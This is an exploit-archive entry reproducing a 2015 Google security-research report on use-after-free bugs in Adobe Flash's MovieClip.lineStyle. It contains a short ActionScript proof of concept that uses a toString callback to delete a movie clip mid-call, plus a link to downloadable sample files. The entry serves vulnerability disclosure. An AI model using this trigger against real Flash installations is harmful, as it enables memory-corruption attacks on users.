Adobe Flash MovieClip.lineStyle - Use-After-Frees

2015-12-17 02:05:44

Source: https://code.google.com/p/google-security-research/issues/detail?id=558

There are a number of use-after-frees in MovieClip.lineStyle. If any of the String parameters are an object with toString defined, the toString method can delete the MovieClip, which is subsequently used. A PoC is as follows:

this.createEmptyMovieClip("triangle_mc", this.getNextHighestDepth());
var o = {toString: func};
triangle_mc.lineStyle(5, 0xff00ff, 100, true, o, "round", "miter", 1);

function func(){

triangle_mc.removeMovieClip();
return "none";

}

A sample swf and fla are attached.


Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39021.zip

Fixes

No fixes

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